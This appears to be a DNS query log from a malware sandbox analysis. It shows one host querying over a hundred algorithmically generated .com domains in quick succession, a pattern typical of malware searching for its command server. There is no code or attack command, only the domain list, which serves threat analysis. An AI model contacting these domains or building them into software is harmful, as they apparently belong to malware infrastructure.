                                                                                                                                                                                                          Nov 11, 2024 18:13:43.997380972 CET192.168.2.61.1.1.10x2abcStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:43.999507904 CET192.168.2.61.1.1.10x820bStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.012639046 CET192.168.2.61.1.1.10x260Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.014154911 CET192.168.2.61.1.1.10x8528Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.393692970 CET192.168.2.61.1.1.10x96dStandard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.394556046 CET192.168.2.61.1.1.10xf074Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.395746946 CET192.168.2.61.1.1.10x1ab9Standard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.399842978 CET192.168.2.61.1.1.10x9db1Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437551975 CET192.168.2.61.1.1.10xa346Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437711954 CET192.168.2.61.1.1.10xf597Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.437865019 CET192.168.2.61.1.1.10x5863Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438035965 CET192.168.2.61.1.1.10x988eStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438180923 CET192.168.2.61.1.1.10x7f84Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438565016 CET192.168.2.61.1.1.10x6abeStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438747883 CET192.168.2.61.1.1.10xa417Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.438977957 CET192.168.2.61.1.1.10xf6d9Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.439832926 CET192.168.2.61.1.1.10x35e5Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.439985991 CET192.168.2.61.1.1.10x8122Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.440330982 CET192.168.2.61.1.1.10xbf7eStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482620001 CET192.168.2.61.1.1.10xab6cStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482765913 CET192.168.2.61.1.1.10x1802Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.482917070 CET192.168.2.61.1.1.10x3c04Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.483056068 CET192.168.2.61.1.1.10xa6a0Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.489440918 CET192.168.2.61.1.1.10xd068Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.489697933 CET192.168.2.61.1.1.10x5db5Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490088940 CET192.168.2.61.1.1.10x468eStandard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490276098 CET192.168.2.61.1.1.10x1b4aStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490698099 CET192.168.2.61.1.1.10x992Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.490854025 CET192.168.2.61.1.1.10x302eStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.499761105 CET192.168.2.61.1.1.10x919bStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.501912117 CET192.168.2.61.1.1.10xe107Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.502621889 CET192.168.2.61.1.1.10xc90aStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.505115032 CET192.168.2.61.1.1.10xa18bStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.569621086 CET192.168.2.61.1.1.10x4797Standard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.573297977 CET192.168.2.61.1.1.10xa126Standard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.575357914 CET192.168.2.61.1.1.10x3a33Standard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.575870037 CET192.168.2.61.1.1.10xf44bStandard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.580663919 CET192.168.2.61.1.1.10xd0ccStandard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.601624966 CET192.168.2.61.1.1.10x26aeStandard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.602355957 CET192.168.2.61.1.1.10xea04Standard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.603753090 CET192.168.2.61.1.1.10xf948Standard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.619992018 CET192.168.2.61.1.1.10x9ad4Standard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.663028955 CET192.168.2.61.1.1.10x93ceStandard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853296041 CET192.168.2.61.1.1.10xd341Standard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853353977 CET192.168.2.61.1.1.10xbe3fStandard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853818893 CET192.168.2.61.1.1.10xa529Standard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.853955984 CET192.168.2.61.1.1.10x1fd0Standard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.854554892 CET192.168.2.61.1.1.10xa6fcStandard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855170012 CET192.168.2.61.1.1.10xfe0cStandard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855472088 CET192.168.2.61.1.1.10x717Standard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855586052 CET192.168.2.61.1.1.10x9bbdStandard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.855935097 CET192.168.2.61.1.1.10x842bStandard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.856555939 CET192.168.2.61.1.1.10xf2c0Standard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857222080 CET192.168.2.61.1.1.10xbc61Standard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857290030 CET192.168.2.61.1.1.10x4c81Standard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.857431889 CET192.168.2.61.1.1.10x8089Standard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.858385086 CET192.168.2.61.1.1.10x3a0dStandard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.859189987 CET192.168.2.61.1.1.10x3c7Standard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.861639977 CET192.168.2.61.1.1.10x896eStandard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.862200975 CET192.168.2.61.1.1.10x952eStandard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.862407923 CET192.168.2.61.1.1.10xf4a3Standard query (0)lymytar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.869065046 CET192.168.2.61.1.1.10x82d3Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.869899035 CET192.168.2.61.1.1.10x56ffStandard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870059967 CET192.168.2.61.1.1.10x1a7cStandard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870204926 CET192.168.2.61.1.1.10xc682Standard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.870835066 CET192.168.2.61.1.1.10x49afStandard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.875861883 CET192.168.2.61.1.1.10x1f2cStandard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.876092911 CET192.168.2.61.1.1.10xf005Standard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.891074896 CET192.168.2.61.1.1.10xa5ceStandard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.892286062 CET192.168.2.61.1.1.10x3eb8Standard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.892474890 CET192.168.2.61.1.1.10x55dbStandard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.893435001 CET192.168.2.61.1.1.10x10Standard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.893605947 CET192.168.2.61.1.1.10xed5dStandard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.907352924 CET192.168.2.61.1.1.10x66b2Standard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.907560110 CET192.168.2.61.1.1.10x70a1Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.909473896 CET192.168.2.61.1.1.10x58ceStandard query (0)vopydum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.909873009 CET192.168.2.61.1.1.10x2cf6Standard query (0)vofydut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910161972 CET192.168.2.61.1.1.10xbddbStandard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910307884 CET192.168.2.61.1.1.10xf23dStandard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910679102 CET192.168.2.61.1.1.10x1e33Standard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910837889 CET192.168.2.61.1.1.10xcd65Standard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.910978079 CET192.168.2.61.1.1.10xcf63Standard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.911319017 CET192.168.2.61.1.1.10x1fa2Standard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.911879063 CET192.168.2.61.1.1.10x5ac3Standard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.914573908 CET192.168.2.61.1.1.10xfa61Standard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.916268110 CET192.168.2.61.1.1.10x5125Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.928520918 CET192.168.2.61.1.1.10xba2dStandard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.930885077 CET192.168.2.61.1.1.10x31dStandard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942306995 CET192.168.2.61.1.1.10xd838Standard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.942734003 CET192.168.2.61.1.1.10x854aStandard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950364113 CET192.168.2.61.1.1.10x633eStandard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950545073 CET192.168.2.61.1.1.10x6287Standard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.950869083 CET192.168.2.61.1.1.10xa15fStandard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:44.951042891 CET192.168.2.61.1.1.10xbdf6Standard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.146270990 CET192.168.2.61.1.1.10xb00Standard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.352404118 CET192.168.2.61.1.1.10x1bb0Standard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:45.839503050 CET192.168.2.61.1.1.10x435bStandard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.126096010 CET192.168.2.61.1.1.10x2110Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.127681971 CET192.168.2.61.1.1.10x44efStandard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.127979994 CET192.168.2.61.1.1.10x6619Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.128629923 CET192.168.2.61.1.1.10xab32Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.129401922 CET192.168.2.61.1.1.10xcb28Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.133819103 CET192.168.2.61.1.1.10x3410Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.133966923 CET192.168.2.61.1.1.10xf2Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.043493986 CET192.168.2.61.1.1.10x6d40Standard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.049297094 CET192.168.2.61.1.1.10x4f2fStandard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.061745882 CET192.168.2.61.1.1.10x97daStandard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.061852932 CET192.168.2.61.1.1.10x595cStandard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.062071085 CET192.168.2.61.1.1.10xaf83Standard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082067966 CET192.168.2.61.1.1.10xb49eStandard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082319021 CET192.168.2.61.1.1.10x362aStandard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.082673073 CET192.168.2.61.1.1.10x6ad8Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.104826927 CET192.168.2.61.1.1.10x3c32Standard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.110718012 CET192.168.2.61.1.1.10x45bfStandard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.125293970 CET192.168.2.61.1.1.10x42dbStandard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.167429924 CET192.168.2.61.1.1.10x90acStandard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.170120955 CET192.168.2.61.1.1.10x1021Standard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.176233053 CET192.168.2.61.1.1.10x9aeeStandard query (0)gatypas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183396101 CET192.168.2.61.1.1.10x2322Standard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183921099 CET192.168.2.61.1.1.10x863Standard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.183957100 CET192.168.2.61.1.1.10xc9dbStandard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.186933041 CET192.168.2.61.1.1.10x7861Standard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.215873957 CET192.168.2.61.1.1.10x24ccStandard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.216181040 CET192.168.2.61.1.1.10x1565Standard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.218878984 CET192.168.2.61.1.1.10x9b22Standard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.266604900 CET192.168.2.61.1.1.10x430aStandard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.268773079 CET192.168.2.61.1.1.10x8693Standard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.269567966 CET192.168.2.61.1.1.10x137bStandard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.278630972 CET192.168.2.61.1.1.10xcbb2Standard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.278887987 CET192.168.2.61.1.1.10xa754Standard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.281045914 CET192.168.2.61.1.1.10xd779Standard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.281270027 CET192.168.2.61.1.1.10x3616Standard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.287329912 CET192.168.2.61.1.1.10x702bStandard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.331530094 CET192.168.2.61.1.1.10x477Standard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.380912066 CET192.168.2.61.1.1.10xb0f2Standard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.384452105 CET192.168.2.61.1.1.10x900fStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.416707039 CET192.168.2.61.1.1.10xfe66Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.417459011 CET192.168.2.61.1.1.10x1dd9Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.510994911 CET192.168.2.61.1.1.10x8630Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.632997036 CET192.168.2.61.1.1.10x38e7Standard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.714425087 CET192.168.2.61.1.1.10x42ebStandard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.783746958 CET192.168.2.61.1.1.10xd6beStandard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.784132004 CET192.168.2.61.1.1.10xdfd2Standard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.784465075 CET192.168.2.61.1.1.10x13ebStandard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.785881042 CET192.168.2.61.1.1.10x3713Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.786401033 CET192.168.2.61.1.1.10x9a7cStandard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.786997080 CET192.168.2.61.1.1.10x899cStandard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.787545919 CET192.168.2.61.1.1.10xf176Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.787816048 CET192.168.2.61.1.1.10x4256Standard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.788305998 CET192.168.2.61.1.1.10x2199Standard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.788837910 CET192.168.2.61.1.1.10x743eStandard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.789521933 CET192.168.2.61.1.1.10xbdf8Standard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.790597916 CET192.168.2.61.1.1.10x744cStandard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.791135073 CET192.168.2.61.1.1.10xb2daStandard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.791665077 CET192.168.2.61.1.1.10xecc7Standard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.792172909 CET192.168.2.61.1.1.10xce1dStandard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.808374882 CET192.168.2.61.1.1.10xf202Standard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.808612108 CET192.168.2.61.1.1.10xa13bStandard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.065736055 CET192.168.2.61.1.1.10x1876Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.698559999 CET192.168.2.61.1.1.10x94b2Standard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.718476057 CET192.168.2.61.1.1.10xe851Standard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.719513893 CET192.168.2.61.1.1.10x5e83Standard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.719968081 CET192.168.2.61.1.1.10x9824Standard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.720318079 CET192.168.2.61.1.1.10xda03Standard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.731971025 CET192.168.2.61.1.1.10x2ff2Standard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.763838053 CET192.168.2.61.1.1.10xd29fStandard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764014959 CET192.168.2.61.1.1.10xdb98Standard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764663935 CET192.168.2.61.1.1.10xa1ddStandard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.764872074 CET192.168.2.61.1.1.10xd244Standard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.786791086 CET192.168.2.61.1.1.10x101aStandard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.411056995 CET192.168.2.61.1.1.10x10f7Standard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.769731998 CET192.168.2.61.1.1.10x96b6Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.774771929 CET192.168.2.61.1.1.10x53cdStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.775136948 CET192.168.2.61.1.1.10xa62Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.775300026 CET192.168.2.61.1.1.10xff47Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.936419964 CET192.168.2.61.1.1.10xaa5eStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.951603889 CET192.168.2.61.1.1.10xcdd6Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.982393026 CET192.168.2.61.1.1.10xb3cfStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.982424021 CET192.168.2.61.1.1.10x4d55Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.983995914 CET192.168.2.61.1.1.10x2532Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.833988905 CET192.168.2.61.1.1.10xb9ecStandard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.836183071 CET192.168.2.61.1.1.10x9d13Standard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.875200987 CET192.168.2.61.1.1.10x4dcaStandard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:51.880610943 CET192.168.2.61.1.1.10x675eStandard query (0)vojypat.comA (IP address)IN (0x0001)false
